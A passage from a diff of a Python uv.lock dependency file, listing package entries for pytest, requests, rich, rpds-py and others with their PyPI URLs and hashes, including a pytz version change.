+ { name = "colorama", marker = "sys_platform == 'win32' or (extra == 'group-6-openai-pydantic-v1' and extra == 'group-6-openai-pydantic-v2')" },
+ { name = "exceptiongroup", marker = "python_full_version < '3.11' or (extra == 'group-6-openai-pydantic-v1' and extra == 'group-6-openai-pydantic-v2')" },
+ { name = "iniconfig" },
+ { name = "packaging" },
+ { name = "pluggy" },
+ { name = "pygments" },
+ { name = "tomli", marker = "python_full_version < '3.11' or (extra == 'group-6-openai-pydantic-v1' and extra == 'group-6-openai-pydantic-v2')" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/a3/5c/00a0e072241553e1a7496d638deababa67c5058571567b92a7eaa258397c/pytest-8.4.2.tar.gz", hash = "sha256:86c0d0b93306b961d58d62a4db4879f27fe25513d4b969df351abdddb3c30e01", size = 1519618, upload-time = "2025-09-04T14:34:22.711Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/a8/a4/20da314d277121d6534b3a980b29035dcd51e6744bd79075a6ce8fa4eb8d/pytest-8.4.2-py3-none-any.whl", hash = "sha256:872f880de3fc3a5bdc88a11b39c9710c3497a547cfa9320bc3c5e62fbf272e79", size = 365750, upload-time = "2025-09-04T14:34:20.226Z" },
+]
+
+[[package]]
+name = "pytest-asyncio"
+version = "1.2.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "backports-asyncio-runner", marker = "python_full_version < '3.11' or (extra == 'group-6-openai-pydantic-v1' and extra == 'group-6-openai-pydantic-v2')" },
+ { name = "pytest" },
+ { name = "typing-extensions", marker = "python_full_version < '3.13' or (extra == 'group-6-openai-pydantic-v1' and extra == 'group-6-openai-pydantic-v2')" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/42/86/9e3c5f48f7b7b638b216e4b9e645f54d199d7abbbab7a64a13b4e12ba10f/pytest_asyncio-1.2.0.tar.gz", hash = "sha256:c609a64a2a8768462d0c99811ddb8bd2583c33fd33cf7f21af1c142e824ffb57", size = 50119, upload-time = "2025-09-12T07:33:53.816Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/04/93/2fa34714b7a4ae72f2f8dad66ba17dd9a2c793220719e736dda28b7aec27/pytest_asyncio-1.2.0-py3-none-any.whl", hash = "sha256:8e17ae5e46d8e7efe51ab6494dd2010f4ca8dae51652aa3c8d55acf50bfb2e99", size = 15095, upload-time = "2025-09-12T07:33:52.639Z" },
+]
+
+[[package]]
+name = "pytest-xdist"
+version = "3.8.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "execnet" },
+ { name = "pytest" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/78/b4/439b179d1ff526791eb921115fca8e44e596a13efeda518b9d845a619450/pytest_xdist-3.8.0.tar.gz", hash = "sha256:7e578125ec9bc6050861aa93f2d59f1d8d085595d6551c2c90b6f4fad8d3a9f1", size = 88069, upload-time = "2025-07-01T13:30:59.346Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/ca/31/d4e37e9e550c2b92a9cbc2e4d0b7420a27224968580b5a447f420847c975/pytest_xdist-3.8.0-py3-none-any.whl", hash = "sha256:202ca578cfeb7370784a8c33d6d05bc6e13b4f25b5053c30a152269fd10f0b88", size = 46396, upload-time = "2025-07-01T13:30:56.632Z" },
]
[[package]]
@@ -1369,11 +2011,214 @@ wheels = [
[[package]]
name = "pytz"
-version = "2026.2"
+version = "2025.2"
source = { registry = "https://pypi.org/simple" }
-sdist = { url = "https://files.pythonhosted.org/packages/ff/46/dd499ec9038423421951e4fad73051febaa13d2df82b4064f87af8b8c0c3/pytz-2026.2.tar.gz", hash = "sha256:0e60b47b29f21574376f218fe21abc009894a2321ea16c6754f3cad6eb7cdd6a", size = 320861, upload-time = "2026-05-04T01:35:29.667Z" }
+sdist = { url = "https://files.pythonhosted.org/packages/f8/bf/abbd3cdfb8fbc7fb3d4d38d320f2441b1e7cbe29be4f23797b4a2b5d8aac/pytz-2025.2.tar.gz", hash = "sha256:360b9e3dbb49a209c21ad61809c7fb453643e048b38924c765813546746e81c3", size = 320884, upload-time = "2025-03-25T02:25:00.538Z" }
wheels = [
- { url = "https://files.pythonhosted.org/packages/ec/dd/96da98f892250475bdf2328112d7468abdd4acc7b902b6af23f4ed958ea0/pytz-2026.2-py2.py3-none-any.whl", hash = "sha256:04156e608bee23d3792fd45c94ae47fae1036688e75032eea2e3bf0323d1f126", size = 510141, upload-time = "2026-05-04T01:35:27.408Z" },
+ { url = "https://files.pythonhosted.org/packages/81/c4/34e93fe5f5429d7570ec1fa436f1986fb1f00c3e0f43a589fe2bbcd22c3f/pytz-2025.2-py2.py3-none-any.whl", hash = "sha256:5ddf76296dd8c44c26eb8f4b6f35488f3ccbf6fbbd7adee0b7262d43f0ec2f00", size = 509225, upload-time = "2025-03-25T02:24:58.468Z" },
+]
+
+[[package]]
+name = "referencing"
+version = "0.36.2"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "attrs" },
+ { name = "rpds-py" },
+ { name = "typing-extensions", marker = "python_full_version < '3.13' or (extra == 'group-6-openai-pydantic-v1' and extra == 'group-6-openai-pydantic-v2')" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/2f/db/98b5c277be99dd18bfd91dd04e1b759cad18d1a338188c936e92f921c7e2/referencing-0.36.2.tar.gz", hash = "sha256:df2e89862cd09deabbdba16944cc3f10feb6b3e6f18e902f7cc25609a34775aa", size = 74744, upload-time = "2025-01-25T08:48:16.138Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/c1/b1/3baf80dc6d2b7bc27a95a67752d0208e410351e3feb4eb78de5f77454d8d/referencing-0.36.2-py3-none-any.whl", hash = "sha256:e8699adbbf8b5c7de96d8ffa0eb5c158b3beafce084968e2ea8bb08c6794dcd0", size = 26775, upload-time = "2025-01-25T08:48:14.241Z" },
+]
+
+[[package]]
+name = "requests"
+version = "2.32.5"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "certifi" },
+ { name = "charset-normalizer" },
+ { name = "idna" },
+ { name = "urllib3" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/c9/74/b3ff8e6c8446842c3f5c837e9c3dfcfe2018ea6ecef224c710c85ef728f4/requests-2.32.5.tar.gz", hash = "sha256:dbba0bac56e100853db0ea71b82b4dfd5fe2bf6d3754a8893c3af500cec7d7cf", size = 134517, upload-time = "2025-08-18T20:46:02.573Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/1e/db/4254e3eabe8020b458f1a747140d32277ec7a271daf1d235b70dc0b4e6e3/requests-2.32.5-py3-none-any.whl", hash = "sha256:2462f94637a34fd532264295e186976db0f5d453d1cdd31473c85a6a161affb6", size = 64738, upload-time = "2025-08-18T20:46:00.542Z" },
+]
+
+[[package]]
+name = "rich"
+version = "14.2.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "markdown-it-py" },
+ { name = "pygments" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/fb/d2/8920e102050a0de7bfabeb4c4614a49248cf8d5d7a8d01885fbb24dc767a/rich-14.2.0.tar.gz", hash = "sha256:73ff50c7c0c1c77c8243079283f4edb376f0f6442433aecb8ce7e6d0b92d1fe4", size = 219990, upload-time = "2025-10-09T14:16:53.064Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/25/7a/b0178788f8dc6cafce37a212c99565fa1fe7872c70c6c9c1e1a372d9d88f/rich-14.2.0-py3-none-any.whl", hash = "sha256:76bc51fe2e57d2b1be1f96c524b890b816e334ab4c1e45888799bfaab0021edd", size = 243393, upload-time = "2025-10-09T14:16:51.245Z" },
+]
+
+[[package]]
+name = "rpds-py"
+version = "0.27.1"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/e9/dd/2c0cbe774744272b0ae725f44032c77bdcab6e8bcf544bffa3b6e70c8dba/rpds_py-0.27.1.tar.gz", hash = "sha256:26a1c73171d10b7acccbded82bf6a586ab8203601e565badc74bbbf8bc5a10f8", size = 27479, upload-time = "2025-08-27T12:16:36.024Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/a5/ed/3aef893e2dd30e77e35d20d4ddb45ca459db59cead748cad9796ad479411/rpds_py-0.27.1-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:68afeec26d42ab3b47e541b272166a0b4400313946871cba3ed3a4fc0cab1cef", size = 371606, upload-time = "2025-08-27T12:12:25.189Z" },
+ { url = "https://files.pythonhosted.org/packages/6d/82/9818b443e5d3eb4c83c3994561387f116aae9833b35c484474769c4a8faf/rpds_py-0.27.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:74e5b2f7bb6fa38b1b10546d27acbacf2a022a8b5543efb06cfebc72a59c85be", size = 353452, upload-time = "2025-08-27T12:12:27.433Z" },
+ { url = "https://files.pythonhosted.org/packages/99/c7/d2a110ffaaa397fc6793a83c7bd3545d9ab22658b7cdff05a24a4535cc45/rpds_py-0.27.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9024de74731df54546fab0bfbcdb49fae19159ecaecfc8f37c18d2c7e2c0bd61", size = 381519, upload-time = "2025-08-27T12:12:28.719Z" },
+ { url = "https://files.pythonhosted.org/packages/5a/bc/e89581d1f9d1be7d0247eaef602566869fdc0d084008ba139e27e775366c/rpds_py-0.27.1-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:31d3ebadefcd73b73928ed0b2fd696f7fefda8629229f81929ac9c1854d0cffb", size = 394424, upload-time = "2025-08-27T12:12:30.207Z" },
+ { url = "https://files.pythonhosted.org/packages/ac/2e/36a6861f797530e74bb6ed53495f8741f1ef95939eed01d761e73d559067/rpds_py-0.27.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b2e7f8f169d775dd9092a1743768d771f1d1300453ddfe6325ae3ab5332b4657", size = 523467, upload-time = "2025-08-27T12:12:31.808Z" },
+ { url = "https://files.pythonhosted.org/packages/c4/59/c1bc2be32564fa499f988f0a5c6505c2f4746ef96e58e4d7de5cf923d77e/rpds_py-0.27.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3d905d16f77eb6ab2e324e09bfa277b4c8e5e6b8a78a3e7ff8f3cdf773b4c013", size = 402660, upload-time = "2025-08-27T12:12:33.444Z" },
+ { url = "https://files.pythonhosted.org/packages/0a/ec/ef8bf895f0628dd0a59e54d81caed6891663cb9c54a0f4bb7da918cb88cf/rpds_py-0.27.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:50c946f048209e6362e22576baea09193809f87687a95a8db24e5fbdb307b93a", size = 384062, upload-time = "2025-08-27T12:12:34.857Z" },
+ { url = "https://files.pythonhosted.org/packages/69/f7/f47ff154be8d9a5e691c083a920bba89cef88d5247c241c10b9898f595a1/rpds_py-0.27.1-cp310-cp310-manylinux_2_31_riscv64.whl", hash = "sha256:3deab27804d65cd8289eb814c2c0e807c4b9d9916c9225e363cb0cf875eb67c1", size = 401289, upload-time = "2025-08-27T12:12:36.085Z" },
+ { url = "https://files.pythonhosted.org/packages/3b/d9/ca410363efd0615814ae579f6829cafb39225cd63e5ea5ed1404cb345293/rpds_py-0.27.1-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:8b61097f7488de4be8244c89915da8ed212832ccf1e7c7753a25a394bf9b1f10", size = 417718, upload-time = "2025-08-27T12:12:37.401Z" },
+ { url = "https://files.pythonhosted.org/packages/e3/a0/8cb5c2ff38340f221cc067cc093d1270e10658ba4e8d263df923daa18e86/rpds_py-0.27.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:8a3f29aba6e2d7d90528d3c792555a93497fe6538aa65eb675b44505be747808", size = 558333, upload-time = "2025-08-27T12:12:38.672Z" },
+ { url = "https://files.pythonhosted.org/packages/6f/8c/1b0de79177c5d5103843774ce12b84caa7164dfc6cd66378768d37db11bf/rpds_py-0.27.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:dd6cd0485b7d347304067153a6dc1d73f7d4fd995a396ef32a24d24b8ac63ac8", size = 589127, upload-time = "2025-08-27T12:12:41.48Z" },
+ { url = "https://files.pythonhosted.org/packages/c8/5e/26abb098d5e01266b0f3a2488d299d19ccc26849735d9d2b95c39397e945/rpds_py-0.27.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:6f4461bf931108c9fa226ffb0e257c1b18dc2d44cd72b125bec50ee0ab1248a9", size = 554899, upload-time = "2025-08-27T12:12:42.925Z" },
+ { url = "https://files.pythonhosted.org/packages/de/41/905cc90ced13550db017f8f20c6d8e8470066c5738ba480d7ba63e3d136b/rpds_py-0.27.1-cp310-cp310-win32.whl", hash = "sha256:ee5422d7fb21f6a00c1901bf6559c49fee13a5159d0288320737bbf6585bd3e4", size = 217450, upload-time = "2025-08-27T12:12:44.813Z" },
+ { url = "https://files.pythonhosted.org/packages/75/3d/6bef47b0e253616ccdf67c283e25f2d16e18ccddd38f92af81d5a3420206/rpds_py-0.27.1-cp310-cp310-win_amd64.whl", hash = "sha256:3e039aabf6d5f83c745d5f9a0a381d031e9ed871967c0a5c38d201aca41f3ba1", size = 228447, upload-time = "2025-08-27T12:12:46.204Z" },
+ { url = "https://files.pythonhosted.org/packages/b5/c1/7907329fbef97cbd49db6f7303893bd1dd5a4a3eae415839ffdfb0762cae/rpds_py-0.27.1-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:be898f271f851f68b318872ce6ebebbc62f303b654e43bf72683dbdc25b7c881", size = 371063, upload-time = "2025-08-27T12:12:47.856Z" },
+ { url = "https://files.pythonhosted.org/packages/11/94/2aab4bc86228bcf7c48760990273653a4900de89c7537ffe1b0d6097ed39/rpds_py-0.27.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:62ac3d4e3e07b58ee0ddecd71d6ce3b1637de2d373501412df395a0ec5f9beb5", size = 353210, upload-time = "2025-08-27T12:12:49.187Z" },
+ { url = "https://files.pythonhosted.org/packages/3a/57/f5eb3ecf434342f4f1a46009530e93fd201a0b5b83379034ebdb1d7c1a58/rpds_py-0.27.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4708c5c0ceb2d034f9991623631d3d23cb16e65c83736ea020cdbe28d57c0a0e", size = 381636, upload-time = "2025-08-27T12:12:50.492Z" },
+ { url = "https://files.pythonhosted.org/packages/ae/f4/ef95c5945e2ceb5119571b184dd5a1cc4b8541bbdf67461998cfeac9cb1e/rpds_py-0.27.1-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:abfa1171a9952d2e0002aba2ad3780820b00cc3d9c98c6630f2e93271501f66c", size = 394341, upload-time = "2025-08-27T12:12:52.024Z" },
+ { url = "https://files.pythonhosted.org/packages/5a/7e/4bd610754bf492d398b61725eb9598ddd5eb86b07d7d9483dbcd810e20bc/rpds_py-0.27.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4b507d19f817ebaca79574b16eb2ae412e5c0835542c93fe9983f1e432aca195", size = 523428, upload-time = "2025-08-27T12:12:53.779Z" },
+ { url = "https://files.pythonhosted.org/packages/9f/e5/059b9f65a8c9149361a8b75094864ab83b94718344db511fd6117936ed2a/rpds_py-0.27.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:168b025f8fd8d8d10957405f3fdcef3dc20f5982d398f90851f4abc58c566c52", size = 402923, upload-time = "2025-08-27T12:12:55.15Z" },
+ { url = "https://files.pythonhosted.org/packages/f5/48/64cabb7daced2968dd08e8a1b7988bf358d7bd5bcd5dc89a652f4668543c/rpds_py-0.27.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cb56c6210ef77caa58e16e8c17d35c63fe3f5b60fd9ba9d424470c3400bcf9ed", size = 384094, upload-time = "2025-08-27T12:12:57.194Z" },
+ { url = "https://files.pythonhosted.org/packages/ae/e1/dc9094d6ff566bff87add8a510c89b9e158ad2ecd97ee26e677da29a9e1b/rpds_py-0.27.1-cp311-cp311-manylinux_2_31_riscv64.whl", hash = "sha256:d252f2d8ca0195faa707f8eb9368955760880b2b42a8ee16d382bf5dd807f89a", size = 401093, upload-time = "2025-08-27T12:12:58.985Z" },
+ { url = "https://files.pythonhosted.org/packages/37/8e/ac8577e3ecdd5593e283d46907d7011618994e1d7ab992711ae0f78b9937/rpds_py-0.27.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:6e5e54da1e74b91dbc7996b56640f79b195d5925c2b78efaa8c5d53e1d88edde", size = 417969, upload-time = "2025-08-27T12:13:00.367Z" },
+ { url = "https://files.pythonhosted.org/packages/66/6d/87507430a8f74a93556fe55c6485ba9c259949a853ce407b1e23fea5ba31/rpds_py-0.27.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:ffce0481cc6e95e5b3f0a47ee17ffbd234399e6d532f394c8dce320c3b089c21", size = 558302, upload-time = "2025-08-27T12:13:01.737Z" },
+ { url = "https://files.pythonhosted.org/packages/3a/bb/1db4781ce1dda3eecc735e3152659a27b90a02ca62bfeea17aee45cc0fbc/rpds_py-0.27.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:a205fdfe55c90c2cd8e540ca9ceba65cbe6629b443bc05db1f590a3db8189ff9", size = 589259, upload-time = "2025-08-27T12:13:03.127Z" },
+ { url = "https://files.pythonhosted.org/packages/7b/0e/ae1c8943d11a814d01b482e1f8da903f88047a962dff9bbdadf3bd6e6fd1/rpds_py-0.27.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:689fb5200a749db0415b092972e8eba85847c23885c8543a8b0f5c009b1a5948", size = 554983, upload-time = "2025-08-27T12:13:04.516Z" },
+ { url = "https://files.pythonhosted.org/packages/b2/d5/0b2a55415931db4f112bdab072443ff76131b5ac4f4dc98d10d2d357eb03/rpds_py-0.27.1-cp311-cp311-win32.whl", hash = "sha256:3182af66048c00a075010bc7f4860f33913528a4b6fc09094a6e7598e462fe39", size = 217154, upload-time = "2025-08-27T12:13:06.278Z" },
+ { url = "https://files.pythonhosted.org/packages/24/75/3b7ffe0d50dc86a6a964af0d1cc3a4a2cdf437cb7b099a4747bbb96d1819/rpds_py-0.27.1-cp311-cp311-win_amd64.whl", hash = "sha256:b4938466c6b257b2f5c4ff98acd8128ec36b5059e5c8f8372d79316b1c36bb15", size = 228627, upload-time = "2025-08-27T12:13:07.625Z" },
+ { url = "https://files.pythonhosted.org/packages/8d/3f/4fd04c32abc02c710f09a72a30c9a55ea3cc154ef8099078fd50a0596f8e/rpds_py-0.27.1-cp311-cp311-win_arm64.whl", hash = "sha256:2f57af9b4d0793e53266ee4325535a31ba48e2f875da81a9177c9926dfa60746", size = 220998, upload-time = "2025-08-27T12:13:08.972Z" },
+ { url = "https://files.pythonhosted.org/packages/bd/fe/38de28dee5df58b8198c743fe2bea0c785c6d40941b9950bac4cdb71a014/rpds_py-0.27.1-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:ae2775c1973e3c30316892737b91f9283f9908e3cc7625b9331271eaaed7dc90", size = 361887, upload-time = "2025-08-27T12:13:10.233Z" },
+ { url = "https://files.pythonhosted.org/packages/7c/9a/4b6c7eedc7dd90986bf0fab6ea2a091ec11c01b15f8ba0a14d3f80450468/rpds_py-0.27.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:2643400120f55c8a96f7c9d858f7be0c88d383cd4653ae2cf0d0c88f668073e5", size = 345795, upload-time = "2025-08-27T12:13:11.65Z" },
+ { url = "https://files.pythonhosted.org/packages/6f/0e/e650e1b81922847a09cca820237b0edee69416a01268b7754d506ade11ad/rpds_py-0.27.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:16323f674c089b0360674a4abd28d5042947d54ba620f72514d69be4ff64845e", size = 385121, upload-time = "2025-08-27T12:13:13.008Z" },
+ { url = "https://files.pythonhosted.org/packages/1b/ea/b306067a712988e2bff00dcc7c8f31d26c29b6d5931b461aa4b60a013e33/rpds_py-0.27.1-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:9a1f4814b65eacac94a00fc9a526e3fdafd78e439469644032032d0d63de4881", size = 398976, upload-time = "2025-08-27T12:13:14.368Z" },
+ { url = "https://files.pythonhosted.org/packages/2c/0a/26dc43c8840cb8fe239fe12dbc8d8de40f2365e838f3d395835dde72f0e5/rpds_py-0.27.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:7ba32c16b064267b22f1850a34051121d423b6f7338a12b9459550eb2096e7ec", size = 525953, upload-time = "2025-08-27T12:13:15.774Z" },
+ { url = "https://files.pythonhosted.org/packages/22/14/c85e8127b573aaf3a0cbd7fbb8c9c99e735a4a02180c84da2a463b766e9e/rpds_py-0.27.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e5c20f33fd10485b80f65e800bbe5f6785af510b9f4056c5a3c612ebc83ba6cb", size = 407915, upload-time = "2025-08-27T12:13:17.379Z" },
+ { url = "https://files.pythonhosted.org/packages/ed/7b/8f4fee9ba1fb5ec856eb22d725a4efa3deb47f769597c809e03578b0f9d9/rpds_py-0.27.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:466bfe65bd932da36ff279ddd92de56b042f2266d752719beb97b08526268ec5", size = 386883, upload-time = "2025-08-27T12:13:18.704Z" },
+ { url = "https://files.pythonhosted.org/packages/86/47/28fa6d60f8b74fcdceba81b272f8d9836ac0340570f68f5df6b41838547b/rpds_py-0.27.1-cp312-cp312-manylinux_2_31_riscv64.whl", hash = "sha256:41e532bbdcb57c92ba3be62c42e9f096431b4cf478da9bc3bc6ce5c38ab7ba7a", size = 405699, upload-time = "2025-08-27T12:13:20.089Z" },
+ { url = "https://files.pythonhosted.org/packages/d0/fd/c5987b5e054548df56953a21fe2ebed51fc1ec7c8f24fd41c067b68c4a0a/rpds_py-0.27.1-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:f149826d742b406579466283769a8ea448eed82a789af0ed17b0cd5770433444", size = 423713, upload-time = "2025-08-27T12:13:21.436Z" },
+ { url = "https://files.pythonhosted.org/packages/ac/ba/3c4978b54a73ed19a7d74531be37a8bcc542d917c770e14d372b8daea186/rpds_py-0.27.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:80c60cfb5310677bd67cb1e85a1e8eb52e12529545441b43e6f14d90b878775a", size = 562324, upload-time = "2025-08-27T12:13:22.789Z" },
+ { url = "https://files.pythonhosted.org/packages/b5/6c/6943a91768fec16db09a42b08644b960cff540c66aab89b74be6d4a144ba/rpds_py-0.27.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:7ee6521b9baf06085f62ba9c7a3e5becffbc32480d2f1b351559c001c38ce4c1", size = 593646, upload-time = "2025-08-27T12:13:24.122Z" },
+ { url = "https://files.pythonhosted.org/packages/11/73/9d7a8f4be5f4396f011a6bb7a19fe26303a0dac9064462f5651ced2f572f/rpds_py-0.27.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:a512c8263249a9d68cac08b05dd59d2b3f2061d99b322813cbcc14c3c7421998", size = 558137, upload-time = "2025-08-27T12:13:25.557Z" },
+ { url = "https://files.pythonhosted.org/packages/6e/96/6772cbfa0e2485bcceef8071de7821f81aeac8bb45fbfd5542a3e8108165/rpds_py-0.27.1-cp312-cp312-win32.whl", hash = "sha256:819064fa048ba01b6dadc5116f3ac48610435ac9a0058bbde98e569f9e785c39", size = 221343, upload-time = "2025-08-27T12:13:26.967Z" },
+ { url = "https://files.pythonhosted.org/packages/67/b6/c82f0faa9af1c6a64669f73a17ee0eeef25aff30bb9a1c318509efe45d84/rpds_py-0.27.1-cp312-cp312-win_amd64.whl", hash = "sha256:d9199717881f13c32c4046a15f024971a3b78ad4ea029e8da6b86e5aa9cf4594", size = 232497, upload-time = "2025-08-27T12:13:28.326Z" },
+ { url = "https://files.pythonhosted.org/packages/e1/96/2817b44bd2ed11aebacc9251da03689d56109b9aba5e311297b6902136e2/rpds_py-0.27.1-cp312-cp312-win_arm64.whl", hash = "sha256:33aa65b97826a0e885ef6e278fbd934e98cdcfed80b63946025f01e2f5b29502", size = 222790, upload-time = "2025-08-27T12:13:29.71Z" },
+ { url = "https://files.pythonhosted.org/packages/cc/77/610aeee8d41e39080c7e14afa5387138e3c9fa9756ab893d09d99e7d8e98/rpds_py-0.27.1-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:e4b9fcfbc021633863a37e92571d6f91851fa656f0180246e84cbd8b3f6b329b", size = 361741, upload-time = "2025-08-27T12:13:31.039Z" },
+ { url = "https://files.pythonhosted.org/packages/3a/fc/c43765f201c6a1c60be2043cbdb664013def52460a4c7adace89d6682bf4/rpds_py-0.27.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:1441811a96eadca93c517d08df75de45e5ffe68aa3089924f963c782c4b898cf", size = 345574, upload-time = "2025-08-27T12:13:32.902Z" },
+ { url = "https://files.pythonhosted.org/packages/20/42/ee2b2ca114294cd9847d0ef9c26d2b0851b2e7e00bf14cc4c0b581df0fc3/rpds_py-0.27.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:55266dafa22e672f5a4f65019015f90336ed31c6383bd53f5e7826d21a0e0b83", size = 385051, upload-time = "2025-08-27T12:13:34.228Z" },
+ { url = "https://files.pythonhosted.org/packages/fd/e8/1e430fe311e4799e02e2d1af7c765f024e95e17d651612425b226705f910/rpds_py-0.27.1-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:d78827d7ac08627ea2c8e02c9e5b41180ea5ea1f747e9db0915e3adf36b62dcf", size = 398395, upload-time = "2025-08-27T12:13:36.132Z" },
+ { url = "https://files.pythonhosted.org/packages/82/95/9dc227d441ff2670651c27a739acb2535ccaf8b351a88d78c088965e5996/rpds_py-0.27.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ae92443798a40a92dc5f0b01d8a7c93adde0c4dc965310a29ae7c64d72b9fad2", size = 524334, upload-time = "2025-08-27T12:13:37.562Z" },
+ { url = "https://files.pythonhosted.org/packages/87/01/a670c232f401d9ad461d9a332aa4080cd3cb1d1df18213dbd0d2a6a7ab51/rpds_py-0.27.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c46c9dd2403b66a2a3b9720ec4b74d4ab49d4fabf9f03dfdce2d42af913fe8d0", size = 407691, upload-time = "2025-08-27T12:13:38.94Z" },
+ { url = "https://files.pythonhosted.org/packages/03/36/0a14aebbaa26fe7fab4780c76f2239e76cc95a0090bdb25e31d95c492fcd/rpds_py-0.27.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2efe4eb1d01b7f5f1939f4ef30ecea6c6b3521eec451fb93191bf84b2a522418", size = 386868, upload-time = "2025-08-27T12:13:40.192Z" },
+ { url = "https://files.pythonhosted.org/packages/3b/03/8c897fb8b5347ff6c1cc31239b9611c5bf79d78c984430887a353e1409a1/rpds_py-0.27.1-cp313-cp313-manylinux_2_31_riscv64.whl", hash = "sha256:15d3b4d83582d10c601f481eca29c3f138d44c92187d197aff663a269197c02d", size = 405469, upload-time = "2025-08-27T12:13:41.496Z" },
+ { url = "https://files.pythonhosted.org/packages/da/07/88c60edc2df74850d496d78a1fdcdc7b54360a7f610a4d50008309d41b94/rpds_py-0.27.1-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:4ed2e16abbc982a169d30d1a420274a709949e2cbdef119fe2ec9d870b42f274", size = 422125, upload-time = "2025-08-27T12:13:42.802Z" },
+ { url = "https://files.pythonhosted.org/packages/6b/86/5f4c707603e41b05f191a749984f390dabcbc467cf833769b47bf14ba04f/rpds_py-0.27.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a75f305c9b013289121ec0f1181931975df78738cdf650093e6b86d74aa7d8dd", size = 562341, upload-time = "2025-08-27T12:13:44.472Z" },
+ { url = "https://files.pythonhosted.org/packages/b2/92/3c0cb2492094e3cd9baf9e49bbb7befeceb584ea0c1a8b5939dca4da12e5/rpds_py-0.27.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:67ce7620704745881a3d4b0ada80ab4d99df390838839921f99e63c474f82cf2", size = 592511, upload-time = "2025-08-27T12:13:45.898Z" },
+ { url = "https://files.pythonhosted.org/packages/10/bb/82e64fbb0047c46a168faa28d0d45a7851cd0582f850b966811d30f67ad8/rpds_py-0.27.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:9d992ac10eb86d9b6f369647b6a3f412fc0075cfd5d799530e84d335e440a002", size = 557736, upload-time = "2025-08-27T12:13:47.408Z" },
+ { url = "https://files.pythonhosted.org/packages/00/95/3c863973d409210da7fb41958172c6b7dbe7fc34e04d3cc1f10bb85e979f/rpds_py-0.27.1-cp313-cp313-win32.whl", hash = "sha256:4f75e4bd8ab8db624e02c8e2fc4063021b58becdbe6df793a8111d9343aec1e3", size = 221462, upload-time = "2025-08-27T12:13:48.742Z" },
